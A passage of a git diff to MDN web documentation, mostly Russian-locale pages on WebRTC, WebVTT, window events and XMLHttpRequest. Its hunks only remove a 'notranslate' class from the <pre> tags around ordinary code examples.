<code>invite()</code> when the caller tries to start a call, and by <code>handleVideoOfferMsg()</code> when the callee receives an offer message from the caller.</p> -<pre class="brush: js notranslate">function createPeerConnection() { +<pre class="brush: js">function createPeerConnection() { myPeerConnection = new RTCPeerConnection({ iceServers: [ // Information about ICE servers - Use your own! { @@ -358,7 +358,7 @@ function invite(evt) { <p>Once the caller has created its {{domxref("RTCPeerConnection")}}, created a media stream, and added its tracks to the connection as shown in {{anch("Starting a call")}}, the browser will deliver a {{event("negotiationneeded")}} event to the {{domxref("RTCPeerConnection")}} to indicate that it's ready to begin negotiation with the other peer. Here's our code for handling the {{event("negotiationneeded")}} event:</p> -<pre class="brush: js notranslate">function handleNegotiationNeededEvent() { +<pre class="brush: js">function handleNegotiationNeededEvent() { myPeerConnection.createOffer().then(function(offer) { return myPeerConnection.setLocalDescription(offer); }) @@ -406,7 +406,7 @@ function invite(evt) { <p>When the offer arrives, the callee's <code>handleVideoOfferMsg()</code> function is called with the <code>"video-offer"</code> message that was received. This function needs to do two things. First, it needs to create its own {{domxref("RTCPeerConnection")}} and add the tracks containing the audio and video from its microphone and webcam to that. Second, it needs to process the received offer, constructing and sending its answer.</p> -<pre class="brush: js notranslate">function handleVideoOfferMsg(msg) { +<pre class="brush: js">function handleVideoOfferMsg(msg) { var localStream = null; targetUsername = msg.name; @@ -460,7 +460,7 @@ function invite(evt) { <p>Your {{domxref("RTCPeerConnection.onicecandidate", "onicecandidate")}} handler receives an event whose <code>candidate</code> property is the SDP describing the candidate (or is <code>null</code> to indicate that the ICE layer has run out of potential configurations to suggest). The contents of <code>candidate</code> are what you need to transmit using your signaling server. Here's our example's implementation:</p> -<pre class="brush: js notranslate">function handleICECandidateEvent(event) { +<pre class="brush: js">function handleICECandidateEvent(event) { if (event.candidate) { sendToServer({ type: "new-ice-candidate", @@ -491,7 +491,7 @@ function invite(evt) { <p>The signaling server delivers each ICE candidate to the destination peer using whatever method it chooses; in our example this is as JSON objects, with a <code>type</code> property containing the string <code>"new-ice-candidate"</code>. Our <code>handleNewICECandidateMsg()</code> function is called by our main <a href="/en-US/docs/Web/API/WebSockets_API">WebSocket</a> incoming message code to handle these messages:</p> -<pre class="brush: js notranslate">function handleNewICECandidateMsg(msg) { +<pre class="brush: js">function handleNewICECandidateMsg(msg) { var candidate = new RTCIceCandidate(msg.candidate); myPeerConnection.addIceCandidate(candidate) @@ -514,7 +514,7 @@ function invite(evt) { <p>When new tracks are added to the <code>RTCPeerConnection</code>— either by calling its {{domxref("RTCPeerConnection.addTrack", "addTrack()")}} method or because of renegotiation of the stream's format—a {{event("track")}} event is set to the <code>RTCPeerConnection</code> for each track added to the connection. Making use of newly added media requires implementing a handler for the <code>track</code> event. A common need is to attach the incoming media to an appropriate HTML element. In our example, we add the track's stream to the {{HTMLElement("video")}} element that displays the incoming video:</p> -<pre class="brush: js notranslate">function handleTrackEvent(event) { +<pre class="brush: js">function handleTrackEvent(event) { document.getElementById("received_video").srcObject = event.streams[0]; document.getElementById("hangup-button").disabled = false; }</pre> @@ -527,7 +527,7 @@ function invite(evt) { <p>Your code receives a {{event("removetrack")}} event when the remote peer removes a track from the connection by calling {{domxref("RTCPeerConnection.removeTrack()")}}. Our handler for <code>"removetrack"</code> is:</p> -<pre class="brush: js notranslate">function handleRemoveTrackEvent(event) { +<pre class="brush: js">function handleRemoveTrackEvent(event) { var stream = document.getElementById("received_video").srcObject; var trackList = stream.getTracks(); @@ -548,7 +548,7 @@ function invite(evt) { <p>When the user clicks the "Hang Up" button to end the call, the <code>hangUpCall()</code> function is called:</p> -<pre class="brush: js notranslate">function hangUpCall() { +<pre class="brush: js">function hangUpCall() { closeVideoCall(); sendToServer({ name: myUsername, @@ -563,7 +563,7 @@ function invite(evt) { <p>The <code>closeVideoCall()</code> function, shown below, is responsible for stopping the streams, cleaning up, and disposing of the {{domxref("RTCPeerConnection")}} object:</p> -<pre class="brush: js notranslate">function closeVideoCall() { +<pre class="brush: js">function closeVideoCall() { var remoteVideo = document.getElementById("received_video"); var localVideo = document.getElementById("local_video"); @@ -620,7 +620,7 @@ function invite(evt) { <p>{{event("iceconnectionstatechange")}} events are sent to the {{domxref("RTCPeerConnection")}} by the ICE layer when the connection state changes (such as when the call is terminated from the other end).</p> -<pre class="brush: js notranslate">function handleICEConnectionStateChangeEvent(event) { +<pre class="brush: js">function handleICEConnectionStateChangeEvent(event) { switch(myPeerConnection.iceConnectionState) { case "closed": case "failed": @@ -636,7 +636,7 @@ function invite(evt) { <p>Similarly, we watch for {{event("signalingstatechange")}} events. If the signaling state changes to <code>closed</code>, we likewise close the call out.</p> -<pre class="brush: js notranslate">function handleSignalingStateChangeEvent(event) { +<pre class="brush: js">function handleSignalingStateChangeEvent(event) { switch(myPeerConnection.signalingState) { case "closed": closeVideoCall(); @@ -652,7 +652,7 @@ function invite(evt) { <p>{{event("icegatheringstatechange")}} events are used to let you know when the ICE candidate gathering process state changes. Our example doesn't use this for anything, but it can be useful to watch these events for debugging purposes, as well as to detect when candidate collection has finished.</p> -<pre class="brush: js notranslate">function handleICEGatheringStateChangeEvent(event) { +<pre class="brush: js">function handleICEGatheringStateChangeEvent(event) { // Our sample just logs information to console here, // but you can do whatever you need. } diff --git a/files/ru/web/api/webvtt_api/index.html b/files/ru/web/api/webvtt_api/index.html index 9bd0e2eead..2c7869eec6 100644 --- a/files/ru/web/api/webvtt_api/index.html +++ b/files/ru/web/api/webvtt_api/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/WebVTT_API <p>Файл WebVTT (<code>.vtt</code>) содержит реплики (cues), которые могут быть одной строкой или несколькими строками, как показано ниже:</p> -<pre class="notranslate">WEBVTT +<pre>WEBVTT 00:01.000 --> 00:04.000 Никогда не пейте жидкий азот. @@ -44,17 +44,17 @@ translation_of: Web/API/WebVTT_API <h5 id="Пример_1_-_Простейший_возможный_файл_WEBVTT">Пример 1 - Простейший возможный файл WEBVTT</h5> -<pre class="eval notranslate">WEBVTT +<pre class="eval">WEBVTT </pre> <h5 id="Пример_2_-_Очень_простой_файл_WebVTT_с_текстовым_заголовком">Пример 2 - Очень простой файл WebVTT с текстовым заголовком</h5> -<pre class="eval notranslate">WEBVTT - Этот файл не содержит реплик. +<pre class="eval">WEBVTT - Этот файл не содержит реплик. </pre> <h5 id="Пример_3_-_Обычный_WebVTT_с_заголовком_и_репликами">Пример 3 - Обычный WebVTT с заголовком и репликами</h5> -<pre class="eval notranslate">WEBVTT - Этот файл содержит реплики. +<pre class="eval">WEBVTT - Этот файл содержит реплики. 14 00:01:14.815 --> 00:01:18.114 @@ -75,7 +75,7 @@ translation_of: Web/API/WebVTT_API <p>Давайте вернёмся к одному из наших предыдущих примеров и рассмотрим структуру реплик более подробно.</p> -<pre class="notranslate">WEBVTT +<pre>WEBVTT 00:01.000 --> 00:04.000 - Never drink liquid nitrogen. @@ -115,12 +115,12 @@ NOTE Это последняя строка в файле</pre> <h5 id="Example_4_-_Common_WebVTT_example">Example 4 - Common WebVTT example</h5> -<pre class="eval notranslate">NOTE This is a comment +<pre class="eval">NOTE This is a comment </pre> <h5 id="Example_5_-_Multi-line_comment">Example 5 - Multi-line comment</h5> -<pre class="eval notranslate">NOTE +<pre class="eval">NOTE Another comment that is spanning more than one line. @@ -130,7 +130,7 @@ across more than one line this way. <h5 id="Example_6_-_Common_comment_usage">Example 6 - Common comment usage</h5> -<pre class="eval notranslate">WEBVTT - Translation of that film I like +<pre class="eval">WEBVTT - Translation of that film I like NOTE This translation was done by Kyle so that @@ -159,7 +159,7 @@ NOTE This last line may not translate well. <h3 id="В_CSS-стилях_сайта">В CSS-стилях сайта</h3> -<pre class="brush: css notranslate">video::cue { +<pre class="brush: css">video::cue { background-image: linear-gradient(to bottom, dimgray, lightgray); color: papayawhip; } @@ -173,7 +173,7 @@ video::cue(b) { <p>Фрагмент HTML, приведённый ниже, отображает видео.</p> -<pre class="brush: html notranslate"><video controls autoplay src="video.webm"> +<pre class="brush: html"><video controls autoplay src="video.webm"> <track default src="track.vtt"> </video> </pre> @@ -182,7 +182,7 @@ video::cue(b) { <p>You can also define the style directly in the WebVTT file. In this case, you insert your CSS rules into the file with each rule preceded by the string <code>"STYLE"</code> all by itelf on a line of text, as shown below:</p> -<pre class="notranslate">WEBVTT +<pre>WEBVTT STYLE ::cue { @@ -205,7 +205,7 @@ NOTE style blocks cannot appear after the first cue.</pre> <p>We can also use identifiers inside WebVTT file, which can be used for defining a new style for some particular cues in the file. The example where we wanted the transcription text to be red highlighted and the other part to remain normal, we can define it as follows using CSS. Where it must be noted that the CSS uses escape sequences the way they are used in HTML pages:</p> -<pre class="notranslate">WEBVTT +<pre>WEBVTT 1 00:00.000 --> 00:02.000 @@ -216,12 +216,12 @@ crédit de transcription Transcrit par Célestes™ </pre> -<pre class="brush: css notranslate">::cue(#\31) { color: lime; } +<pre class="brush: css">::cue(#\31) { color: lime; } ::cue(#crédit\ de\ transcription) { color: red; }</pre> <p>Positioning of text tracks is also supported, by including positioning information after the timings in a cue, as seen below (see {{anch("Cue settings")}} for more information):</p> -<pre class="notranslate">WEBVTT +<pre>WEBVTT 00:00:00.000 --> 00:00:04.000 position:10%,line-left align:left size:35% Where did he go? @@ -246,7 +246,7 @@ What are you waiting for?</pre> <h5 id="Example_7_-_Example_of_a_cue">Example 7 - Example of a cue</h5> -<pre class="eval notranslate">1 - Title Crawl +<pre class="eval">1 - Title Crawl 00:00:05.000 --> 00:00:10.000 line:0 position:20% size:60% align:start Some time ago in a place rather distant....</pre> @@ -256,11 +256,11 @@ Some time ago in a place rather distant....</pre> <h5 id="Example_8_-_Cue_identifier_from_Example_7">Example 8 - Cue identifier from Example 7</h5> -<pre class="eval notranslate">1 - Title Crawl</pre> +<pre class="eval">1 - Title Crawl</pre> <h5 id="Example_9_-_Common_usage_of_identifiers">Example 9 - Common usage of identifiers</h5> -<pre class="eval notranslate">WEBVTT +<pre class="eval">WEBVTT 1 00:00:22.230 --> 00:00:24.606 @@ -331,20 +331,20 @@ Third <h5 id="Example_10_-_Basic_cue_timing_examples">Example 10 - Basic cue timing examples</h5> -<pre class="eval notranslate">00:22.230 --> 00:24.606 +<pre class="eval">00:22.230 --> 00:24.606 00:30.739 --> 00:00:34.074 00:00:34.159 --> 00:35.743 00:00:35.827 --> 00:00:40.122</pre> <h5 id="Example_11_-_Overlapping_cue_timing_examples">Example 11 - Overlapping cue timing examples</h5> -<pre class="eval notranslate">00:00:00.000 --> 00:00:10.000 +<pre class="eval">00:00:00.000 --> 00:00:10.000 00:00:05.000 --> 00:01:00.000 00:00:30.000 --> 00:00:50.000</pre> <h5 id="Example_12_-_Non-overlapping_cue_timing_examples">Example 12 - Non-overlapping cue timing examples</h5> -<pre class="eval notranslate">00:00:00.000 --> 00:00:10.000 +<pre class="eval">00:00:00.000 --> 00:00:10.000 00:00:10.000 --> 00:01:00.581 00:01:00.581 --> 00:02:00.100 00:02:01.000 --> 00:02:01.000</pre> @@ -555,7 +555,7 @@ Third <p>The first line demonstrates no settings. The second line might be used to overlay text on a sign or label. The third line might be used for a title. The last line might be used for an Asian language.</p> -<pre class="eval notranslate">00:00:05.000 --> 00:00:10.000 +<pre class="eval">00:00:05.000 --> 00:00:10.000 00:00:05.000 --> 00:00:10.000 line:63% position:72% align:start 00:00:05.000 --> 00:00:10.000 line:0 position:20% size:60% align:start 00:00:05.000 --> 00:00:10.000 vertical:rt line:-1 align:end @@ -628,7 +628,7 @@ Third <div> <h5 id="Example_12_-_Karaoke_style_text">Example 12 - Karaoke style text</h5> - <pre class="eval notranslate">1 + <pre class="eval">1 00:16.500 --> 00:18.500 When the moon <00:17.500>hits your eye @@ -656,7 +656,7 @@ That's <00:00:21.000>amore <div> <h5 id="Example_14_-_Class_tag">Example 14 - Class tag</h5> - <pre class="notranslate"><c.classname>text</c></pre> + <pre><c.classname>text</c></pre> </div> </li> <li><strong>Italics tag</strong> (<code><i></i></code>) @@ -667,7 +667,7 @@ That's <00:00:21.000>amore <div> <h5 id="Example_15_-_Italics_tag">Example 15 - Italics tag</h5> - <pre class="notranslate"><i>text</i></pre> + <pre><i>text</i></pre> </div> </li> <li><strong>Bold tag</strong> (<code><b></b></code>) @@ -678,7 +678,7 @@ That's <00:00:21.000>amore <div> <h5 id="Example_16_-_Bold_tag">Example 16 - Bold tag</h5> - <pre class="notranslate"><b>text</b></pre> + <pre><b>text</b></pre> </div> </li> <li><strong>Underline tag</strong> (<code><u></u></code>) @@ -689,7 +689,7 @@ That's <00:00:21.000>amore <div> <h5 id="Example_17_-_Underline_tag">Example 17 - Underline tag</h5> - <pre class="notranslate"><u>text</u></pre> + <pre><u>text</u></pre> </div> </li> <li><strong>Ruby tag</strong> (<code><ruby></ruby></code>) @@ -700,7 +700,7 @@ That's <00:00:21.000>amore <div> <h5 id="Example_18_-_Ruby_tag">Example 18 - Ruby tag</h5> - <pre class="notranslate"><ruby>WWW<rt>World Wide Web</rt>oui<rt>yes</rt></ruby></pre> + <pre><ruby>WWW<rt>World Wide Web</rt>oui<rt>yes</rt></ruby></pre> </div> </li> <li><strong>Ruby text tag</strong> (<code><rt></rt></code>) @@ -711,7 +711,7 @@ That's <00:00:21.000>amore <div> <h5 id="Example_19_-_Ruby_text_tag">Example 19 - Ruby text tag</h5> - <pre class="notranslate"><ruby>WWW<rt>World Wide Web</rt>oui<rt>yes</rt></ruby></pre> + <pre><ruby>WWW<rt>World Wide Web</rt>oui<rt>yes</rt></ruby></pre> </div> </li> <li><strong>Voice tag</strong> (<code><v></v></code>) @@ -722,7 +722,7 @@ That's <00:00:21.000>amore <div> <h5 id="Example_20_-_Voice_tag">Example 20 - Voice tag</h5> - <pre class="notranslate"><v Bob>text</v></pre> + <pre><v Bob>text</v></pre> </div> </li> </ul> @@ -737,7 +737,7 @@ That's <00:00:21.000>amore <p>Constructor is the first point for starting the Cue which is defined using the default constructor VTTCue(startTime, endTime, text) where starting time, ending time and text for cue can be adjusted. After that we can set the region for that particular cue to which this cue belongs using cue.region. Vertical, horizontal, line, lineAlign, Position, positionAlign, text, size and Align can be used to alter the cue and its formation, just like we can alter the objects form, shape and visibility in HTML using CSS. But the VTTCue interface is within the WebVTT provides the vast range of adjustment variables which can be used directly to alter the Cue. Following interface can be used to expose WebVTT cues in DOM API:</p> -<pre class="idl def notranslate">enum <dfn>AutoKeyword</dfn> { <dfn>"auto"</dfn> }; +<pre class="idl def">enum <dfn>AutoKeyword</dfn> { <dfn>"auto"</dfn> }; enum <dfn>DirectionSetting</dfn> { <dfn>""</dfn> /* horizontal */, <dfn>"rl"</dfn>, <dfn>"lr"</dfn> }; enum <dfn>LineAlignSetting</dfn> { <dfn>"start"</dfn>, <dfn>"center"</dfn>, <dfn>"end"</dfn> }; enum <dfn>PositionAlignSetting</dfn> { <dfn>"line-left"</dfn>, <dfn>"center"</dfn>, <dfn>"line-right"</dfn>, <dfn>"auto"</dfn> }; @@ -763,7 +763,7 @@ interface <dfn>VTTCue</dfn> : <a href="https://html.spec.whatwg.org/multipage/em <p>The new keyword can be used for defining a new VTTRegion object which can then be used for containing the multiple cues. There are several properties of VTTRegion which are width, lines, regionAnchorX, RegionAnchorY, viewportAnchorX, viewportAnchorY and scroll that can be used to specify the look and feel of this VTT region. The interface code is given below which can be used to expose the WebVTT regions in DOM API:</p> -<pre class="idl def notranslate">enum <dfn>ScrollSetting</dfn> { <dfn>""</dfn> /* none */, <dfn>"up"</dfn> }; +<pre class="idl def">enum <dfn>ScrollSetting</dfn> { <dfn>""</dfn> /* none */, <dfn>"up"</dfn> }; [<a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttregion-vttregion" id="ref-for-dom-vttregion-vttregion-1">Constructor</a>] interface <dfn>VTTRegion</dfn> { attribute double <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttregion-width" id="ref-for-dom-vttregion-width-1">width</a>; @@ -819,11 +819,11 @@ interface <dfn>VTTRegion</dfn> { <li>The first line of WebVTT is standardized similar in the way some other languages require you to put headers as the file starts to indicate the file type. One the very first line you have to write.</li> </ol> -<pre class="notranslate">WEBVTT</pre> +<pre>WEBVTT</pre> <p> 3. Leave the second line blank, and on the third line the time for first cue is to be specified. For example, for a first cue starting at time 1 second and ending at 5 seconds, it is written as:</p> -<pre class="notranslate">00:01.000 --> 00:05.000</pre> +<pre>00:01.000 --> 00:05.000</pre> <ol> <li>On the next line you can write the caption for this cue which will run from 1<sup>st</sup> second to the 5<sup>th</sup> second, inclusive.</li> @@ -836,7 +836,7 @@ interface <dfn>VTTRegion</dfn> { <p>It is one of the good features supported by WebVTT is the localization and use of class elements which can be used in same way they are used in HTML and CSS to classify the style for particular type of objects, but here these are used for styling and classifying the Cues as shown below:</p> -<pre class="notranslate">WEBVTT +<pre>WEBVTT 04:02.500 --> 04:05.000 J’ai commencé le basket à l'âge de 13, 14 ans diff --git a/files/ru/web/api/window/beforeunload_event/index.html b/files/ru/web/api/window/beforeunload_event/index.html index 2c5bc0a27d..74c2ec65e6 100644 --- a/files/ru/web/api/window/beforeunload_event/index.html +++ b/files/ru/web/api/window/beforeunload_event/index.html @@ -51,7 +51,7 @@ translation_of: Web/API/Window/beforeunload_event <p>В HTML-спецификации указано, что авторы должны использовать метод {{domxref("Event.preventDefault()")}}, а не {{domxref("Event.returnValue")}}. Однако, это поддерживается не всеми браузерами.</p> -<pre class="brush: js notranslate">window.addEventListener('beforeunload', (event) => { +<pre class="brush: js">window.addEventListener('beforeunload', (event) => { // Отмените событие, как указано в стандарте. event.preventDefault(); // Chrome требует установки возвратного значения. diff --git a/files/ru/web/api/window/cancelanimationframe/index.html b/files/ru/web/api/window/cancelanimationframe/index.html index 897d147ae0..9f02501a9a 100644 --- a/files/ru/web/api/window/cancelanimationframe/index.html +++ b/files/ru/web/api/window/cancelanimationframe/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/Window/cancelAnimationFrame <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">window.cancelAnimationFrame(<em>requestID</em>); +<pre class="syntaxbox">window.cancelAnimationFrame(<em>requestID</em>); </pre> <h3 id="Параметры">Параметры</h3> @@ -21,7 +21,7 @@ translation_of: Web/API/Window/cancelAnimationFrame <h2 id="Примеры">Примеры</h2> -<pre class="brush: js notranslate">var requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame || +<pre class="brush: js">var requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame || window.webkitRequestAnimationFrame || window.msRequestAnimationFrame; var cancelAnimationFrame = window.cancelAnimationFrame || window.mozCancelAnimationFrame; diff --git a/files/ru/web/api/window/ongamepadconnected/index.html b/files/ru/web/api/window/ongamepadconnected/index.html index db5f8eecd4..5d7c5a5a2c 100644 --- a/files/ru/web/api/window/ongamepadconnected/index.html +++ b/files/ru/web/api/window/ongamepadconnected/index.html @@ -11,12 +11,12 @@ translation_of: Web/API/Window/ongamepadconnected <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">window.ongamepadconnected = function() { ... }; +<pre class="syntaxbox">window.ongamepadconnected = function() { ... }; </pre> <h2 id="Пример">Пример</h2> -<pre class="brush:js; line-numbers language-js notranslate"><code class="language-js">window<span class="punctuation token">.</span><span class="punctuation token">on</span><span class="string token">gamepadconnected =</span> <span class="keyword token">function</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span> +<pre class="brush:js; line-numbers language-js"><code class="language-js">window<span class="punctuation token">.</span><span class="punctuation token">on</span><span class="string token">gamepadconnected =</span> <span class="keyword token">function</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="comment token">// All buttons and axes values can be accessed through</span> event<span class="punctuation token">.</span>gamepad<span class="punctuation token">;</span> <span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre> diff --git a/files/ru/web/api/window/ongamepaddisconnected/index.html b/files/ru/web/api/window/ongamepaddisconnected/index.html index 2769b29f4c..acff189b81 100644 --- a/files/ru/web/api/window/ongamepaddisconnected/index.html +++ b/files/ru/web/api/window/ongamepaddisconnected/index.html @@ -11,12 +11,12 @@ translation_of: Web/API/Window/ongamepaddisconnected <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">window.ongamepaddisconnected = function() { ... }; +<pre class="syntaxbox">window.ongamepaddisconnected = function() { ... }; </pre> <h2 id="Пример">Пример</h2> -<pre class="brush:js; line-numbers language-js notranslate"><code class="language-js">window<span class="punctuation token">.</span><span class="punctuation token">on</span><span class="string token">gamepaddisconnected =</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> +<pre class="brush:js; line-numbers language-js"><code class="language-js">window<span class="punctuation token">.</span><span class="punctuation token">on</span><span class="string token">gamepaddisconnected =</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="comment token">// A gamepad has been disconnected</span> <span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre> diff --git a/files/ru/web/api/window/requestanimationframe/index.html b/files/ru/web/api/window/requestanimationframe/index.html index 7649842dc6..8f2a58bfae 100644 --- a/files/ru/web/api/window/requestanimationframe/index.html +++ b/files/ru/web/api/window/requestanimationframe/index.html @@ -18,7 +18,7 @@ original_slug: DOM/window.requestAnimationFrame <h2 id="Syntax">Синтаксис</h2> -<pre class="brush: js notranslate">window.requestAnimationFrame(callback);</pre> +<pre class="brush: js">window.requestAnimationFrame(callback);</pre> <h3 id="Parameters">Параметры</h3> @@ -35,7 +35,7 @@ original_slug: DOM/window.requestAnimationFrame <h2 id="Notes">Пример</h2> -<pre class="brush: js notranslate">var start = null; +<pre class="brush: js">var start = null; var element = document.getElementById('SomeElementYouWantToAnimate'); function step(timestamp) { diff --git a/files/ru/web/api/windowclient/index.html b/files/ru/web/api/windowclient/index.html index 3f05357c09..e5d5134b85 100644 --- a/files/ru/web/api/windowclient/index.html +++ b/files/ru/web/api/windowclient/index.html @@ -40,7 +40,7 @@ translation_of: Web/API/WindowClient <h2 id="Пример">Пример</h2> -<pre class="brush: js notranslate">self.addEventListener('notificationclick', function(event) { +<pre class="brush: js">self.addEventListener('notificationclick', function(event) { console.log('On notification click: ', event.notification.tag); event.notification.close(); diff --git a/files/ru/web/api/windoweventhandlers/onpopstate/index.html b/files/ru/web/api/windoweventhandlers/onpopstate/index.html index 5c168c1a61..efcf2ad0d7 100644 --- a/files/ru/web/api/windoweventhandlers/onpopstate/index.html +++ b/files/ru/web/api/windoweventhandlers/onpopstate/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/WindowEventHandlers/onpopstate <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate">window.onpopstate = <var>funcRef</var>; +<pre class="syntaxbox">window.onpopstate = <var>funcRef</var>; </pre> <ul> @@ -26,7 +26,7 @@ translation_of: Web/API/WindowEventHandlers/onpopstate <p>В качестве примера, страница <code>http://example.com/example.html</code>, исполняя нижеследующий код, сгенерирует всплывающие сообщения, как показано в комментариях:</p> -<pre class="brush:js notranslate">window.onpopstate = function(event) { +<pre class="brush:js">window.onpopstate = function(event) { alert("location: " + document.location + ", state: " + JSON.stringify(event.state)); }; diff --git a/files/ru/web/api/workerglobalscope/importscripts/index.html b/files/ru/web/api/workerglobalscope/importscripts/index.html index 30e59c5b3e..ef2736acac 100644 --- a/files/ru/web/api/workerglobalscope/importscripts/index.html +++ b/files/ru/web/api/workerglobalscope/importscripts/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/WorkerGlobalScope/importScripts <h2 id="Синтаксис">Синтаксис</h2> -<pre class="brush: js notranslate">self.importScripts('foo.js'); +<pre class="brush: js">self.importScripts('foo.js'); self.importScripts('foo.js', 'bar.js', ...);</pre> <h3 id="Параметры">Параметры</h3> @@ -41,7 +41,7 @@ self.importScripts('foo.js', 'bar.js', ...);</pre> <p>Если вы хотите использовать некоторую функциональность, определённую файлом <code>foo.js</code>, необходимо сделать следующее:</p> -<pre class="brush: js notranslate">importScripts('foo.js');</pre> +<pre class="brush: js">importScripts('foo.js');</pre> <p><code>importScripts()</code> и <code>self.importScripts()</code> по сути эквивалентны — и то и другое вызывает функцию <code>importScripts()</code> в области видимости воркера.</p> diff --git a/files/ru/web/api/xmlhttprequest/sending_and_receiving_binary_data/index.html b/files/ru/web/api/xmlhttprequest/sending_and_receiving_binary_data/index.html index ee92d0ca3e..ebea98c5b5 100644 --- a/files/ru/web/api/xmlhttprequest/sending_and_receiving_binary_data/index.html +++ b/files/ru/web/api/xmlhttprequest/sending_and_receiving_binary_data/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/XMLHttpRequest/Sending_and_Receiving_Binary_Data <p>В этом примере изображение считывается как двоичный файл и создаётся 8-разрядный массив целых чисел без знака из необработанных байтов. Обратите внимание, что это не будет декодировать изображение и читать пиксели. Для этого вам понадобится <a href="https://github.com/devongovett/png.js/">библиотека декодирования png</a>.</p> -<pre class="brush: js notranslate">var oReq = new XMLHttpRequest(); +<pre class="brush: js">var oReq = new XMLHttpRequest(); oReq.open("GET", "/myfile.png", true); oReq.responseType = "arraybuffer"; @@ -28,7 +28,7 @@ oReq.send(null); <p>Альтернатива вышеуказанному методу использует интерфейс {{domxref("Blob")}} для непосредственного построения Blob с данными arraybuffer.</p> -<pre class="brush: js notranslate">var oReq = new XMLHttpRequest(); +<pre class="brush: js">var oReq = new XMLHttpRequest(); oReq.open("GET", "/myfile.png", true); oReq.responseType = "arraybuffer"; @@ -42,7 +42,7 @@ oReq.send(); <p>Также вы можете прочитать двоичный файл как {{domxref ("Blob")}}, установив строку" blob " в свойство responseType.</p> -<pre class="brush: js notranslate">var oReq = new XMLHttpRequest(); +<pre class="brush: js">var oReq = new XMLHttpRequest(); oReq.open("GET", "/myfile.png", true); oReq.responseType = "blob"; @@ -57,7 +57,7 @@ oReq.send();</pre> <p>Функция load_binary_resource(), показанная ниже, загружает двоичные данные из указанного URL, возвращая их вызывающему объекту.</p> -<pre class="brush: js notranslate">function load_binary_resource(url) { +<pre class="brush: js">function load_binary_resource(url) { var req = new XMLHttpRequest(); req.open('GET', url, false); //XHR binary charset opt by Marcus Granado 2006 [http://mgran.blogspot.com] @@ -70,7 +70,7 @@ oReq.send();</pre> <p>Магия происходит в строке 5, которая переопределяет тип MIME, заставляя браузер рассматривать его как обычный текст, используя пользовательский набор символов. Это говорит браузеру не анализировать его и пропускать байты через необработанные.</p> -<pre class="brush: js notranslate">var filestream = load_binary_resource(url); +<pre class="brush: js">var filestream = load_binary_resource(url); var abyte = filestream.charCodeAt(x) & 0xff; // throw away high-order byte (f7) </pre> @@ -82,7 +82,7 @@ var abyte = filestream.charCodeAt(x) & 0xff; // throw away high-order byte ( <p>Библиотека <a href="https://github.com/jDataView/jBinary">jBinary</a> для работы с бинарными данными в JavaScript позволяет загрузить данные из любого источника, автоматически определяя лучший способ для этого в текущем браузере или Node.js:</p> -<pre class="brush: js notranslate">jBinary.load(url).then(function (binary) { +<pre class="brush: js">jBinary.load(url).then(function (binary) { // здесь аргумент `binary` может использовться для обработки данных // в любом формате (строка, массив байтов, структура данных и т. д.) }); @@ -94,7 +94,7 @@ var abyte = filestream.charCodeAt(x) & 0xff; // throw away high-order byte ( <p>В примере ниже на лету создаётся текстовый файл и отправляется методом <code>POST</code> на сервер. Здесь используется обычный текст, но нетрудно представить себе пример с бинарным файлом.</p> -<pre class="brush: js notranslate">var oReq = new XMLHttpRequest(); +<pre class="brush: js">var oReq = new XMLHttpRequest(); oReq.open("POST", url, true); oReq.onload = function (oEvent) { // Uploaded. @@ -109,7 +109,7 @@ oReq.send(blob); <p>Точно так же можно отправлять типизированные массивы JavaScript.</p> -<pre class="brush: js notranslate">var myArray = new ArrayBuffer(512); +<pre class="brush: js">var myArray = new ArrayBuffer(512); var longInt8View = new Uint8Array(myArray); for (var i=0; i< longInt8View.length; i++) { @@ -133,7 +133,7 @@ xhr.send(myArray); <p>В этом примере двоичные данные передаются асинхронно методом <code>POST</code> и нестандартным методом Firefox's <code>sendAsBinary()</code>.</p> -<pre class="brush: js notranslate">var req = new XMLHttpRequest(); +<pre class="brush: js">var req = new XMLHttpRequest(); req.open("POST", url, true); // установите заголовок и тип данных req.setRequestHeader("Content-Length", 741); @@ -148,7 +148,7 @@ req.sendAsBinary(aBody); <p>Кроме того, чтобы отправить бинарные данные можно передать экземпляр {{interface("nsIFileInputStream")}} в метод <a href="/en-US/docs/DOM/XMLHttpRequest#send()" title="XMLHttpRequest#send()"><code>send()</code></a>. В этом случае заголовок <code>Content-Length</code> заполнять явно необязательно, поскольку информация получается из потока автоматически:</p> -<pre class="brush: js notranslate">// Создание потока из файла. +<pre class="brush: js">// Создание потока из файла. var stream = Components.classes["@mozilla.org/network/file-input-stream;1"] .createInstance(Components.interfaces.nsIFileInputStream); stream.init(file, 0x04 | 0x08, 0644, 0x04); // file is an nsIFile instance diff --git a/files/ru/web/api/xmlhttprequest/using_xmlhttprequest/index.html b/files/ru/web/api/xmlhttprequest/using_xmlhttprequest/index.html index f2628fa1fa..e295b94612 100644 --- a/files/ru/web/api/xmlhttprequest/using_xmlhttprequest/index.html +++ b/files/ru/web/api/xmlhttprequest/using_xmlhttprequest/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/XMLHttpRequest/Using_XMLHttpRequest <p>Для отправки HTTP-запроса нужно создать XMLHttpRequest-объект, открыть URL и отправить запрос. После выполнения запроса можно получить и обработать тело и статус ответа.</p> -<pre class="brush: js notranslate">function reqListener () { +<pre class="brush: js">function reqListener () { console.log(this.responseText); } @@ -54,7 +54,7 @@ oReq.send();</pre> <p>Хотя обычно 